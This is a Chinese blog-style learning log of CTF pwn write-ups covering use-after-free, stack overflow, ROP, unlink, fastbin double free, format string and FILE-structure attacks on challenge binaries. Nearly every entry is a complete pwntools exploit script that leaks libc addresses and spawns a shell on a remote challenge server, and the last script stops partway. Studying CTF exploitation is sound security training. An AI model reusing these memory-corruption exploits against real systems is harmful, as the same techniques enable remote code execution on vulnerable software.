PWN渣渣的学习记录

做到哪个题写哪个题,难度不一,内容没有先后顺序

Use-After-Free

UAF漏洞,通常在free某段内存后,由于”悬垂指针”引起的漏洞,是一种内存破坏漏洞

题目分析

因为TCL,所以无从下手,看过WP才知道,还是我TCL,下面是我自己写的WP

1
$ checksec time_formatter
2
    Arch:     amd64-64-little
3
    RELRO:    Partial RELRO
4
    Stack:    Canary found
5
    NX:       NX enabled
6
    PIE:      No PIE (0x400000)
7
    FORTIFY:  Enabled

可以通过UAF漏洞进行利用,从而攻击成功,其中strdup分配空间,选择5时会free分配的空间,导致形成悬垂指针

利用

1
from pwn import*
2
#p = process('./time_formatter')
3
p = remote('111.198.29.45',52670)
4
def Format(fmt):
5
	p.sendlineafter('>','1')
6
	p.sendlineafter('Format:',fmt)
7
	p.recvuntil('set.')
8
def time(tm):
9
	p.sendlineafter('>','2') 
10
	p.sendlineafter('Enter your unix time: ',tm)
11
	p.recvuntil('set.')
12
def Zone(zn):
13
	p.sendlineafter('>','3')
14
	p.sendlineafter('Time zone:',zn)
15
	p.recvuntil('set.')
16
def Exit(var):
17
	p.sendlineafter('>','5')
18
	p.sendlineafter('?',var)
19
Format('%x') #分配空间
20
Exit('~') # free空间,悬垂指针
21
Zone("\';/bin/sh\'") # 写入命令于BSS段
22
p.sendline('4') 
23
p.interactive()

下载

EXP 程序

Stack2

分析

最初拿到文件,checksec一番,没有地址随机,IDA静态分析一下,很简单就知道程序可以通过修改数组里面的值这个步骤,将下标设置为返回地址的位置,单个字节的修改
而且程序本身也有backdoor的函数,那么,这不就简单了么,直接修改返回地址,轻松拿flag
呀呀呀!!!怎么回事??

问题与解决方案

那么从这里我们知道,对应服务器镜像里是没有bash这个文件的,这里有个小技巧,就是终端运行’sh’也能达到和/bin/sh一样的效果
那么我们可以很轻易的修改返回地址为system函数的plt地址,隔四个字节,修改参数为’sh’的地址
通过IDA按d,变成如下的形式

我们只需要取其中0x8048987对应的sh即可

利用

EXP:

1
from pwn import*
2
#p = process('./stack2')
3
p = remote('111.198.29.45',50512)
4
context.log_level = 'debug'
5
#gdb.attach(p)
6
elf = ELF('./stack2')
7
system_addr = 0x8048450
8
p.sendlineafter('How many numbers you have:','100')
9
cnt = 0
10
p.recvuntil('Give me your numbers')
11
while True:
12
	p.sendline('0')
13
	cnt = cnt + 1
14
	if cnt == 100:
15
		break
16
def modify(var,modify):
17
	p.sendlineafter('exit','3')
18
	p.sendlineafter('which number to change:',str(var))
19
	p.sendlineafter('new number:',str(modify))
20
21
modify(132,80)
22
modify(133,132)
23
modify(134,4)
24
modify(135,8)
25
log.success('Have Modify The Ret Address')
26
modify(140,0x87)
27
modify(141,0X89)
28
modify(142,0X04)
29
modify(143,0X08)
30
log.success('Have Modify The Argument')
31
p.sendlineafter('exit','5')
32
p.interactive()

flag:

1
cyberpeace{42e482df73332d15fcb0ad090e4c310b}

下载 EXP 程序

ROP_Pwn

简单分析,无PIE,无Canary,栈溢出,而由于p64()必定含有’\x00’,故echo函数遇到’\x00’截断,对栈空间观察一番,可以利用ROP

1
buf	0x00	UUUUUUUUU
2
	0x08	UUUUUUUUU
3
rbp	0x10	UUUUUUUUU
4
ret	0x18	Func_ONE
5
	0x20	UUUUUUUUU
6
	0x28	UUUUUUUUU
7
	0x30	UUUUUUUUU
8
	0x38	Func_ONE
9
	0x40	.......

当Func_ONE地址由p64()转化为字符串遇到’\x00’截断,我们输入的payload会在Func_ONE 之后0x18个字节,故,利用csu_gadget的一段pop掉0x20个字节的内容,剩下的则为简单的栈溢出了.

EXP

1
from pwn import*
2
from LibcSearcher import*
3
p = remote('111.198.29.45',46310)
4
context.log_level = 'debug'
5
#p = process('welpwn')
6
elf = ELF('welpwn')
7
puts_plt = elf.plt['puts']
8
puts_got = elf.got['puts']
9
payload = 'U'*0x18 + p64(0x40089C) +p64(0x4008A3) + p64(puts_got) + p64(puts_plt+4) +p64(0x4007CD)
10
p.recvuntil('Welcome to RCTF\n')
11
p.sendline(payload)
12
p.recvuntil('\x9C\x08\x40')
13
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
14
libc = LibcSearcher('puts',puts_addr)
15
libcbase = puts_addr - libc.dump('puts')
16
binsh_addr = libcbase + libc.dump('str_bin_sh')
17
system_addr = libcbase + libc.dump('system')
18
payload_II = 'U'*0x18 + p64(0x40089C)+ p64(0x4008A3) + p64(binsh_addr) + p64(system_addr) +p64(0x4007CD)
19
p.sendline(payload_II)
20
p.interactive()

下载

程序 EXP

4-ReeHY-main-100 From XCTF

Pie关闭,got表可写,此题show功能没有,free后没有置0,存在UAF,具有多种解法,而在程序开始时会申请一个fastbin chunk用于存储create时的大小,那么这里我们可以手动构造堆溢出,从而实现unlink,后面就很明显了

1
from pwn import*
2
p = process('./4-ReeHY-main')
3
p = remote('111.198.29.45',46710)
4
elf = ELF('4-ReeHY-main')
5
context.log_level = 'debug'
6
def create(size,index,content):
7
	p.sendlineafter('$ ','1')
8
	p.sendlineafter('Input size\n',str(size)) #size<=4096	[-00,0x1000]
9
	p.sendlineafter('Input cun\n',str(index)) #index <=4 	[-oo,4]
10
	p.sendafter('Input content\n',content)
11
def delete(index):
12
	p.sendlineafter('$ ','2')
13
	p.sendlineafter('Chose one to dele\n',str(index))
14
def edit(index,content):
15
	p.sendlineafter('$ ','3')
16
	p.sendlineafter('Chose one to edit\n',str(index))
17
	p.sendafter('Input the content\n',content)
18
p.sendlineafter('$','FMYY')
19
List = 0x6020E0
20
create(128,0,'\x00'*0x80)
21
create(128,1,'\x00'*0x80)
22
delete(-2)
23
payload = p32(256) + p32(128)
24
create(20,2,payload)
25
payload  = p64(0)
26
payload += p64(0x80)
27
payload += p64(List - 0x18)
28
payload += p64(List - 0x10)
29
payload =  payload.ljust(0x80,'\x00')
30
payload += p64(0x80)
31
payload += p64(0x90)
32
edit(0,payload)
33
delete(1)
34
payload = '\x00'*0x18 + p64(elf.got['free']) +p64(1) + p64(elf.got['puts']) + p64(1) + p64(elf.got['atoi']) + p64(1)
35
edit(0,payload)
36
edit(0,p64(elf.plt['puts']))
37
delete(1)
38
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
39
log.success('Puts_Addr:\t' + hex(puts_addr))
40
libc_base = puts_addr -  0x06f690
41
system = libc_base +  0x045390
42
log.success('System:\t' + hex(system))
43
edit(2,p64(system))
44
p.sendlineafter('$ ','/bin/sh\x00')
45
p.interactive()

下载

程序 EXP

Note3 From CGCTF

free后未置0,UAF漏洞,可以获得libcbase,然后double_free可以改malloc_hook为one_gadget

1
from pwn import*
2
def add(size,content):
3
	p.recvuntil('choice>>')
4
	p.sendline('1')
5
	p.recvuntil('Size:')
6
	p.sendline(str(size))
7
	p.recvuntil('Content:')
8
	p.sendline(content)
9
def show(index):
10
	p.recvuntil('choice>>')
11
	p.sendline('2')
12
	p.recvuntil('Index:')
13
	p.sendline(str(index))
14
def edit(index,content):
15
	p.recvuntil('choice>>')
16
	p.sendline('3')
17
	p.recvuntil('Index:')
18
	p.sendline(str(index))
19
	p.sendline(content)
20
def free(index):
21
	p.recvuntil('choice>>')
22
	p.sendline('4')
23
	p.recvuntil('Index:')
24
	p.sendline(str(index))
25
26
p = remote('45.76.173.177',6666)
27
#context.log_level = 'debug'
28
add(0x88,'')
29
add(0x60,'')
30
add(0x60,'')
31
free(0)
32
show(0)
33
main_arena = u64(p.recv(6).ljust(8,'\x00')) - 88
34
libc_base = main_arena - 0x397B00
35
add(0x88,'')
36
free(1)
37
free(2)
38
free(1)
39
malloc_hook = main_arena - 0x10
40
one_gadget = libc_base + 0xD694F
41
add(0x60,p64(malloc_hook - 0x23))
42
add(0x60,'')
43
add(0x60,'')
44
add(0x60,'\x00'*19 + p64(one_gadget))
45
p.sendlineafter('choice>>','1')
46
p.sendlineafter('Size:','16')
47
p.interactive()

下载

程序 EXP

Pwn_Me_100_3 From NCTF2019

由于free块后指向首块地址,则可以打印HEAP部分地址,然后计算存有0xDEADBEEF块的地址,再利用unlink达到任意写的目标,最后往0xDEADBEEF里写入0x66666666即可

1
from pwn import*
2
context.log_level = 'debug'
3
def add(size,content):
4
	p.sendlineafter('5,exit','1')
5
	p.sendlineafter('size',str(size))
6
	p.sendafter('content',content)
7
def free(index):
8
	p.sendlineafter('5,exit','2')
9
	p.sendlineafter('idx',str(index))
10
def show(index):
11
	p.sendlineafter('5,exit','3')
12
	p.sendlineafter('idx',str(index))
13
def edit(index,content):
14
	p.sendlineafter('5,exit','4')
15
	p.sendlineafter('idx',str(index))
16
	p.send(content)
17
18
p = process('./pwn_me_3')
19
p.recvuntil('are you ready?')
20
add(0x20,'S') #0
21
add(0x20,'S') #1
22
add(0x88,'M')  #2
23
add(0xF0,'M')  #3
24
25
free(0)
26
free(1)
27
add(0x20,'S') #0
28
show(0)
29
p.recvline()
30
Goal = u64(p.recv(3).ljust(8,'\x00')) - ord('S') + 0x10
31
log.success('Goal_Addr:\t' + hex(Goal))
32
33
free(2)
34
Fake = 0x6020E8
35
payload = p64(0)
36
payload += p64(0x81)
37
payload += p64(Fake-0x18)
38
payload += p64(Fake-0x10)
39
payload = payload.ljust(0x80,'\x00')
40
payload += p64(0x80)
41
add(0x88,payload)
42
free(3)
43
edit(1,p64(0)*2 + p64(Goal) + '\n')
44
edit(0,p64(0x66666666))
45
p.sendline('5')
46
p.interactive()

下载

程序 EXP

babyfengshui From XCTF

主要需要绕过len+*ptr[idx] <= ptr[idx]-4,简单的堆溢出

1
from pwn import*
2
def add(size,length,text):
3
	p.sendlineafter('Action: ','0')
4
	p.sendlineafter('description: ',str(size))
5
	p.sendlineafter('name: ','FMYY')
6
	p.sendlineafter("length: ", str(length))
7
	p.sendlineafter('text: ',text)
8
def free(index):
9
	p.sendlineafter('Action: ','1')
10
	p.sendlineafter('index: ',str(index))
11
def show(index):
12
	p.sendlineafter('Action: ','2')
13
	p.sendlineafter('index: ',str(index))
14
def edit(index,length,text):
15
	p.sendlineafter('Action: ','3')
16
	p.sendlineafter('index: ',str(index))
17
	p.sendlineafter('length: ',str(length))
18
	p.sendlineafter('text: ',text)
19
p = process('./main')
20
elf = ELF('./main')
21
p = remote('111.198.29.45',54841)
22
#context.log_level ='debug'
23
add(0x80,0x80,'FMYY')
24
add(0x80,0x80,'FMYY')
25
add(0x8,0x8,'/bin/sh\x00')
26
free(0)
27
add(0x100,0x80+0x88+0x88+0xC,'\x00'*0x198+p32(elf.got['free']))
28
show(1)
29
p.recvuntil('description: ')
30
libc_base = u32(p.recv(4)) - 0x070750
31
log.info('Libc_Base:\t' + hex(libc_base))
32
system = libc_base + 0x03A940
33
edit(1,4,p32(system))
34
free(2)
35
p.interactive()

下载

程序 EXP

easy_heap From NCTF

伪造chunk头,将块申请的bss段保存size的位置,然后就通过几个功能修改malloc_hook为one_gadget即可

1
from pwn import*
2
def add(size, content):
3
    p.sendline("1")
4
    p.sendlineafter("What's your heap_size?\n", str(size))
5
    p.sendafter("What's your heap_content?\n", content)
6
    p.recvuntil("4. exit\n")
7
8
def free(index):
9
    p.sendline("2")
10
    p.sendlineafter("What's your heap_index?\n", str(index))
11
    p.recvuntil("4. exit\n")
12
13
def show(index):
14
    p.sendline("3")
15
    p.sendlineafter("What's your heap_index?\n", str(index))
16
    p.recvuntil(": ")
17
    data = p.recvline()[:-1]
18
    p.recvuntil("4. exit\n")
19
    return data
20
21
p = process('./main')
22
p.recvline("What's your name?\n")
23
p.send(p64(0) + p64(0x61))
24
p.recvuntil("4. exit\n")
25
26
add(0x50,"FMYY")	#0
27
add(0x50,"FMYY")	#1
28
free(0)
29
free(1)
30
free(0)
31
add(0x50,p64(0x602060)) #2
32
add(0x50,"FMYY") #3
33
add(0x50,"FMYY") #4
34
add(0x50,p64(0) + p64(0x80) + p64(0x601FB0) + p64(0)*7) #5
35
libc_base = u64(show(0).ljust(8,"\x00")) - 0x6F690
36
malloc_hook = libc_base + 0x3C4B10
37
one_gadget = libc_base + 0xF1147
38
39
add(0x60,"FMYY")	#1
40
add(0x60,"FMYY")	#2
41
free(1)
42
free(2)
43
free(1)
44
add(0x60,p64(malloc_hook-0x23)) #1
45
add(0x60,"FMYY") #2
46
add(0x60,"FMYY") #1
47
add(0x60,"\x00"*19 + p64(one_gadget))
48
p.sendline('1')
49
p.sendlineafter('heap_size?','16')
50
p.interactive()

下载

程序 EXP LIBC

Supermarket From XCTF

XCTF的一个练习题,在edit_description处,由于reallcoc的申请空间的原理,造成UAF

1
from pwn import*
2
def add(name,size,des):
3
	p.sendlineafter('>> ','1')
4
	p.sendlineafter('name:',name)
5
	p.sendlineafter('price:','256')
6
	p.sendlineafter('size:',str(size))
7
	p.sendlineafter('description:',des)
8
def free(name):
9
	p.sendlineafter('>> ','2')
10
	p.sendlineafter('name:',name)
11
def show():
12
	p.sendlineafter('>> ','3')
13
def edit_p(name,cp):
14
	p.sendlineafter('>> ','4')
15
	p.sendlineafter('name:',name)
16
	p.sendlineafter('rise in:',str(cp))
17
def edit_des(name,size,des):
18
	p.sendlineafter('>> ','5')
19
	p.sendlineafter('name:',name)
20
	p.sendlineafter('descrip_size:',str(size))
21
	p.sendlineafter('description:',des)
22
p = remote('111.198.29.45',44827)
23
elf = ELF('./main')
24
libc = ELF('libc.so')
25
context.log_level ='debug'
26
add('I',0x88,'')
27
add('II',0x20,'')
28
edit_des('I',0xA0,'')
29
add('FMYY',0x90,'')
30
payload = 'FMYY' + '\x00'*12 + p32(0X200) + p32(0x90) + p32(elf.got['atoi'])
31
edit_des('I',0x88,payload)
32
show()
33
libc_base = u32(p.recvuntil('\xF7')[-4:]) - libc.sym['atoi']
34
log.info('Libc_Base:\t' + hex(libc_base))
35
system = libc_base + libc.sym['system']
36
edit_des('FMYY',0x90,p32(system))
37
p.sendlineafter('>> ','/bin/sh\x00')
38
p.interactive()

下载

程序 EXP LIBC

Noleak

首先利用unlink在bss段写shellcode,然后利用Partional Write将main_arena修改为malloc_hook-0x23,然后通过堆溢出将unsorted bin中的块放进fastbin,将shellcode的地址写在malloc_hook

1
from pwn import*
2
context(arch='amd64',os='linux')
3
def add(size,data):
4
	p.sendlineafter('Your choice :','1')
5
	p.sendlineafter('Size: ',str(size))
6
	p.sendafter('Data: ',data)
7
def free(index):
8
	p.sendlineafter('Your choice :','2')
9
	p.sendlineafter('Index: ',str(index))
10
def edit(index,size,data):
11
	p.sendlineafter('Your choice :','3')
12
	p.sendlineafter('Index: ',str(index))
13
	p.sendlineafter('Size: ',str(size))
14
	p.sendafter('Data: ',data)
15
libc = ELF('./libc-2.23.so',checksec=False)
16
unlink = 0x601040
17
shell = 0x601000
18
while True:
19
	p = remote('111.198.29.45',46050)
20
	try:
21
		add(0x80,'\n') #0
22
		add(0x80,'\n') #1
23
		payload = p64(0) + p64(0x81)
24
		payload += p64(unlink - 0x18) + p64(unlink-0x10)
25
		payload  = payload.ljust(0x80,'\x00')
26
		payload += p64(0x80) + p64(0x90)
27
		edit(0,0x90,payload)
28
		free(1)
29
		payload = '\x00'*0x18 + p64(shell) + p64(unlink)
30
		edit(0,0x30,payload)
31
		shellcode = asm(shellcraft.sh())
32
		edit(0,len(shellcode),shellcode)
33
		#2 -> 3 -> 4 ->5
34
		add(0x10,'\n') 
35
		add(0x90,'\n')
36
		add(0x60,'\n')
37
		add(0x60,'\n')
38
		free(3)
39
		add(0x90,p16(0x4B10 - 0x23))
40
		free(4)
41
		free(5)
42
		edit(2,0x20,'\x00'*0x10+p64(0) + p64(0x71))
43
		edit(5,1,'\x30')
44
		edit(1,16,p64(0)*2)
45
		add(0x60,'\n')
46
		add(0x60,'\n')
47
		add(0x60,'\x00'*0x13 + p64(shell))
48
		p.sendlineafter('Your choice :','1')
49
		p.sendlineafter('Size: ','16')
50
		break
51
	except:
52
		p.close()
53
		continue
54
p.interactive()

下载

程序 EXP LIBC

Recho

涨见识了,题目拿到分析不难,但是read返回值是个死循环,写EXP的时候就懵了,看过WP才知道alarm函数的汇编代码中,有调用到syscall,故将alarm的got表内地址改到syscall,然后利用系统调用号写ORW一把梭,最后用shutdown函数结束死循环

1
from pwn import*
2
context.log_level = 'debug'
3
p = process('./main')
4
p = remote('111.198.29.45',37457)
5
elf = ELF('./main')
6
pop_rdi_ret = 0x4008A3
7
pop_rax_ret = 0x4006FC
8
pop_rdx_ret = 0x4006FE
9
pop_rsi_r15 = 0x4008A1
10
add_al_rdi = 0x40070D
11
FLAG = 0x601058
12
payload  = '\x00'*0x38
13
payload += p64(pop_rax_ret) + p64(5) + p64(pop_rdi_ret) + p64(elf.got['alarm']) + p64(add_al_rdi)
14
payload += p64(pop_rax_ret) + p64(2) + p64(pop_rdi_ret) + p64(FLAG) + p64(pop_rdx_ret) + p64(0) + p64(pop_rsi_r15) + p64(0) + p64(0) + p64(elf.plt['alarm'])
15
payload += p64(pop_rax_ret) + p64(0) + p64(pop_rdi_ret) + p64(3) + p64(pop_rdx_ret) + p64(0x2D) + p64(pop_rsi_r15) + p64(elf.bss()+0x100) + p64(0) + p64(elf.plt['alarm'])
16
payload += p64(pop_rax_ret) + p64(1) + p64(pop_rdi_ret) + p64(1) + p64(pop_rdx_ret) + p64(0x2D) + p64(pop_rsi_r15) + p64(elf.bss()+0x100) + p64(0) + p64(elf.plt['alarm'])
17
18
p.sendlineafter('server!\n',str(336))
19
p.send(payload)
20
p.shutdown('write')
21
p.interactive()

下载

程序 EXP

Unary

地址越界写,先越界调用put的got表打印__libc_start_main的地址得到libc地址,然后越界调用scanf,第一个参数为%s写栈溢出

1
from pwn import*
2
p = remote('66.172.27.144',9004)
3
elf = ELF('./main')
4
libc= ELF('./libc-2.27.so')
5
#context.log_level ='DEBUG'
6
ope = 0x600E00
7
def leak(idx,addr):
8
	p.sendlineafter('Operator:',str(idx))
9
	p.sendlineafter('x =',str(addr))
10
offset = (elf.got['puts'] - ope)/8 + 1
11
addr = elf.got['__libc_start_main']
12
leak(offset,addr)
13
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__libc_start_main']
14
libc.address = libc_base
15
og = [0x4F2C5,0x4F322,0x10A38C]
16
pop_rdi_ret = 0x4008D3
17
system = libc.sym['system']
18
binsh = libc_base +  0x1B3E9A
19
offset = (elf.got['__isoc99_scanf'] - ope)/8 + 1
20
leak(offset,0x400916)
21
payload = 'U'*0x2C + p64(libc_base + og[1])#p64(pop_rdi_ret) + p64(binsh) + p64(system) 
22
p.sendline(payload)
23
p.sendline('0')
24
p.interactive()

下载

程序 EXP LIBC

echo_back

见识少了,第一回遇到fmtstr漏洞与IO结构混在一起的题,题目除了一个SetName外,就只有一个仅能输入7字节的格式化字符串漏洞,通过该漏洞可打印pie,libc,而此处修改stdin中IO的buf_base为\x00继而可以从scanf输入更多的字符,并通过getchar满足read_ptr>=read_end

1
from pwn import*
2
p = remote('111.198.29.45',41151)
3
#context(log_level='DEBUG')
4
libc = ELF('libc-2.23.so',checksec=False)
5
def name(name):
6
	p.sendlineafter('choice','1')
7
	p.send(name)
8
def echo(text):
9
	p.sendlineafter('choice','2')
10
	p.sendlineafter('length:','7')
11
	p.send(text)
12
def leak(content):
13
	echo(content)
14
	p.recvuntil('anonymous say:')
15
	return int(p.recv(14),16)
16
libc_base = leak('%19$p') - 0xF0 - libc.sym['__libc_start_main']
17
libc.address = libc_base
18
pie = leak('%13$p') -0xD08
19
ret = leak('%12$p') + 8
20
system = libc.sym['system']
21
binsh =  libc.search('/bin/sh').next()
22
pop_rdi_ret = pie + 0xD93
23
name(p64(libc.sym['_IO_2_1_stdin_'] + 8*7))
24
echo('%16$hhn')
25
payload = p64(libc.sym['_IO_2_1_stdin_'] + 0x83)*3 + p64(ret) + p64(ret + 0x18)
26
p.sendlineafter('choice','2')
27
p.sendafter('length:',payload)
28
p.sendline()
29
for i in range(0,len(payload)-1):
30
	p.sendlineafter('choice','2')
31
	p.sendlineafter('length:','0')
32
payload = p64(pop_rdi_ret) + p64(binsh) + p64(system)
33
p.sendlineafter('choice','2')
34
p.sendafter('length:',payload)
35
p.sendline()
36
p.sendlineafter('choice','3')
37
og = [0x45216,0x4526A,0xF02A4,0xF1147]
38
one_gadget = libc_base + og[3]
39
p.interactive()

下载

程序 EXP LIBC

easyfmt

每次printf的时候偏移量都会加1,首先修改exit的地址以无限循环的运行if语句内的代码,然后就常规的修改printf的got表地址为system地址.

1
from pwn import*
2
from LibcSearcher import*
3
libc = ELF('./libc-2.23.so',checksec=False)
4
context.log_level ='DEBUG'
5
p = remote('111.198.29.45',36807)
6
payload = '%2434c%11$hnLIBC:%43$p'
7
payload = payload.ljust(0x18,'U')
8
payload += p64(0x601060)
9
p.sendlineafter('enter:','2')
10
p.sendafter('slogan: ',payload)
11
p.recvuntil('LIBC:')
12
libc.address = int(p.recv(14),16) - 0xF0 - libc.sym['__libc_start_main']
13
I =  (libc.sym['system']&0xFF)
14
II = ((libc.sym['system']&0xFFFFFF)>>8) - I
15
payload = '%' + str(I) + 'c%13$hhn' + '%' + str(II) + 'c%14$hn'
16
payload = payload.ljust(0x20,'U')
17
payload += p64(0x601030) + p64(0x601031)
18
p.recvuntil('slogan: ')
19
p.sendline(payload)
20
p.sendlineafter('slogan: ','/bin/sh\x00')
21
p.interactive()

下载

程序 EXP LIBC

new_chall

有人询问我一个关于HouseOFRoman漏洞的例题为何本地打开ALSR则无法getshell,结果是这个利用方法概率太低,仅有1/4096的大小,全看脸的一道题,然后我就想利用IO做出来,然而这个题不知道是我虚拟机抽风还是题目本身很玄学,后面想在malloc_hook上方布置一个chunk块,怎么也不能申请到这个在malloc_hook上方的块,然后就想着利用scanf往free_hook里面写one_gadget,最后scanf那里不能通过,一直会弹invaild choice,再之后我试着劫持IO的虚表,然而虚表的位置无法写入,最后再试着利用malloc_hook改one_gadget去getshell,谁知道中途重启了一次电脑然后…然后居然可以打通了

1
from pwn import*
2
def add(size,idx):
3
	p.sendlineafter('Free',"1")
4
	p.sendlineafter('Enter size of chunk :',str(size))
5
	p.sendlineafter('Enter index :',str(idx))
6
7
def free(idx):
8
	p.sendlineafter('Free',"3")
9
	p.sendlineafter('Enter index :',str(idx))
10
11
def edit(idx,data):
12
	p.sendlineafter('Free',"2")
13
	p.sendlineafter('Enter index of chunk :',str(idx))
14
	p.sendafter('Enter data :',data)
15
16
p = process('./main')
17
libc = ELF('./libc-2.23.so',checksec=False)
18
#context.log_level ='DEBUG'
19
p.sendlineafter('Enter name :','FMYY')
20
add(0x18,0)
21
add(0xC8,1)
22
add(0x68,2)
23
edit(1,'\x00'*0x68 + p64(0x61))
24
free(1)
25
add(0xC8,1)
26
add(0x68,3)
27
add(0x68,4)
28
add(0x68,5)
29
edit(0,'\x00'*0x18 + '\x71')
30
free(2)
31
free(3)
32
edit(3,'\x20')
33
edit(1,'\xDD\x25')
34
add(0x68,9)
35
add(0x68,9)
36
payload = '\x00'*0x33 + p64(0xFBAD1800) + p64(0)*3 + '\x88'
37
add(0x68,9)
38
edit(9,payload)
39
libc_base = u64(p.recvuntil('\x7F').ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_']
40
libc.address = libc_base
41
free(4)
42
edit(4,p64(0))
43
add(0x68,0)
44
free(0)
45
edit(0,p64(libc.sym['__malloc_hook'] - 0x23))
46
add(0x68,0)
47
add(0x68,0)
48
p.sendlineafter('Free',"2")
49
p.sendlineafter('Enter index of chunk :','0')
50
p.send('\x00'*0x13+p64(libc_base + 0xF02A4))
51
free(1)
52
free(1)
53
p.interactive()

下载

程序 EXP LIBC

EasyPwn

在第一个函数处由于溢出可覆盖’%s’为其他格式化字符串,因此存在格式化字符串漏洞
由于在改写GOT表的时候发送的构造部分也算作打印字符,故改写时的值需减去0x16个字节

1
from pwn import*
2
p = remote('111.198.29.45',46636)
3
libc= ELF('./libc-2.23.so',checksec=False)
4
context.log_level ='DEBUG'
5
p.sendlineafter('Input Your Code:\n','1')
6
payload = 'U'*0x3E8+ 'MM'+ '%397$p%396$p'
7
p.send(payload)
8
p.recvuntil('%397$p%396$p')
9
libc_start = int(p.recv(14),16) - 0xF0
10
pie = int(p.recv(14),16) -0xDA0
11
libc_base = libc_start - libc.sym['__libc_start_main']
12
free_got = pie+0x202018
13
system = libc.sym['system']+ libc_base
14
I	= (system & 0xFFFF) - 0x3E8 - 0x16
15
II	= ((system >> 16) & 0xFFFF) - 0x3E8 - 0x16
16
III	= ((system >> 32) & 0xFFFF) - 0x3E8 - 0x16
17
p.sendlineafter('Input Your Code:\n','1')
18
payload = 'U' * 0x3E8 + ('MM%' + str(I) + 'c%133$hn')	+ p64(free_got)
19
p.sendline(payload)
20
p.sendlineafter('Input Your Code:\n','1')
21
payload = 'U' * 0x3E8 + ('MM%' + str(II) + 'c%133$hn')	+ p64(free_got + 2)
22
p.sendline(payload)
23
p.sendlineafter('Input Your Code:\n','1')
24
payload = 'U' * 0x3E8 + ('MM%' + str(III) + 'c%133$hn') + p64(free_got + 4)
25
p.sendline(payload)
26
p.sendlineafter('Input Your Code:\n','2')
27
p.send('/bin/sh\x00')
28
p.interactive()

下载

程序 EXP LIBC

1000levevls

利用VSYSCALL即可

1
#coding=utf-8
2
from pwn import*
3
p = remote('111.198.29.45',47070)
4
libc =ELF('./libc.so')
5
context(log_level ='DEBUG')
6
vsyscall = 0xFFFFFFFFFF600000
7
offset = 0x4526A - libc.sym['system']
8
p.sendlineafter('Choice:','2')
9
p.sendlineafter('Choice:','1')
10
p.sendlineafter('How many levels?','0')
11
p.sendlineafter('Any more?',str(offset))
12
padding = p64(0)*6
13
for i in range(99):
14
	p.sendafter('Answer:',padding)
15
p.sendafter('Answer:','FMYY'*0xE + p64(vsyscall)*3)
16
p.interactive()
17
18
'''VSYSCALL
19
0xFFFFFFFFFF600000: mov rax,0x60
20
0xFFFFFFFFFF600007: syscall
21
0xFFFFFFFFFF600009: ret
22
# VSYSCALL 指令的地址为固定的,若执行此汇编指令,程序会不断的ret地址,最终抵达后门函数
23
'''

下载

程序 EXP LIBC

HMI流水灯

简单的栈溢出,而要如果利用后面的的read函数,则在alarm(1)这个时钟函数会停顿1s然后我们就能发送数据了

1
from pwn import*
2
#context.log_level ='DEBUG'
3
p = remote('111.198.29.45',45407)
4
elf =ELF('./main',checksec=False)
5
libc = ELF('./libc_32.so.6',checksec=False)
6
PI = '\x00'*0x8C + p32(elf.plt['write']) + p32(elf.sym['gee']) + p32(1) + p32(elf.got['printf']) + p32(4)
7
p.sendafter('\n\n',PI)
8
libc.address = u32(p.recv(4)) - libc.sym['printf']
9
p.send('\x00'*0x8C + p32(libc.sym['system']) + p32(0) + p32(libc.search('/bin/sh').next()))
10
p.interactive()

下载

程序 EXP LIBC

hacknote

XCTF这个题是忘记放附件还是盲打,而看了题后盲打又如何好确定那个print函数
本来如果单独的申请空间还想利用partional write引起堆块重叠,然后利用stdout泄漏libc,最后double free改malloc_hook为og,思路都理好了,然后…一脸懵比的购买了7个金币的WP

1
from pwn import*
2
context(log_level='DEBUG',arch='amd64')
3
def add(size,content):
4
	p.sendlineafter('Your choice :','1')
5
	p.sendlineafter('Note size :',str(size))
6
	p.sendafter('Content :',content)
7
def free(index):
8
	p.sendlineafter('Your choice :','2')
9
	p.sendlineafter('Index :',str(index))
10
def show(index):
11
	p.sendlineafter('Your choice :','3')
12
	p.sendlineafter('Index :',str(index))
13
14
p = remote('111.198.29.45',53083)
15
add(0x20,'FMYY')
16
add(0x20,'FMYY')
17
free(0)
18
free(1)
19
add(8,p32(0x804862B) + p32(0x0804A00C))
20
show(0)
21
libc_base = u32(p.recv(4)) - 0x0D4350
22
system = 0x03A940 + libc_base
23
binsh =  0x15902B + libc_base
24
free(2)
25
add(8,p32(system) + '||sh')
26
show(0)
27
p.interactive()

下载

程序 EXP

notepad

VolgaCTF上貌似唯一的一个Pwn题,Pwn没有牌面,edit那里溢出1位可以令下一个notebook的前32个字节作为一段tab信息

1
from pwn import*
2
context.log_level ='DEBUG'
3
p = remote('notepad.q.2020.volgactf.ru',45678)
4
libc = ELF('./libc-2.27.so',checksec=False)
5
#p = process('./main')
6
def pick_notebook(index):
7
	p.sendlineafter('>','p')
8
	p.sendlineafter('pick:',str(index))
9
def add_notebook(name):
10
	p.sendlineafter('>','a')
11
	p.sendlineafter('name:',name)
12
def delete_notebook(index):
13
	p.sendlineafter('>','d')
14
	p.sendlineafter('delete:',str(index))
15
def list_notebook():
16
	p.sendlineafter('>','l')
17
#---------------
18
def add(name,size,data):
19
	p.sendlineafter('>','a')
20
	p.sendlineafter('name:',name)
21
	p.sendlineafter('(in bytes):',str(size))
22
	p.sendafter('data:',data)
23
def show(index):
24
	p.sendlineafter('>','v')
25
	p.sendlineafter('view:',str(index))
26
def free(index):
27
	p.sendlineafter('>','d')
28
	p.sendlineafter('delete:',str(index))
29
def list():
30
	p.sendlineafter('>','l')
31
def edit(index,name,size,data):
32
	p.sendlineafter('>','u')
33
	p.sendlineafter('update:',str(index))
34
	p.sendlineafter('(leave empty to skip):',name)
35
	p.sendlineafter('the same)',str(size))
36
	p.sendafter('data:',data)
37
add_notebook('FMYY')
38
pick_notebook(1)
39
add('1',0x500,'FMYY')
40
add('2',144,'FMYY') #2->1
41
free(1)
42
add('2',0x500,'\xA0')
43
show(2)
44
libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x70
45
log.info('LIBC:\t' + hex(libc.address))
46
free_hook = libc.sym['__free_hook']
47
og = [0x4F2C5,0x4F322,0x10A38C]
48
one_gadget = libc.address + og[1]
49
p.sendlineafter('>','q')
50
add_notebook('II')
51
pick_notebook(2)
52
for i in range(0x10):
53
	add(p64(free_hook),0x100,'FMYY')
54
p.sendlineafter('>','q')
55
pick_notebook(1)
56
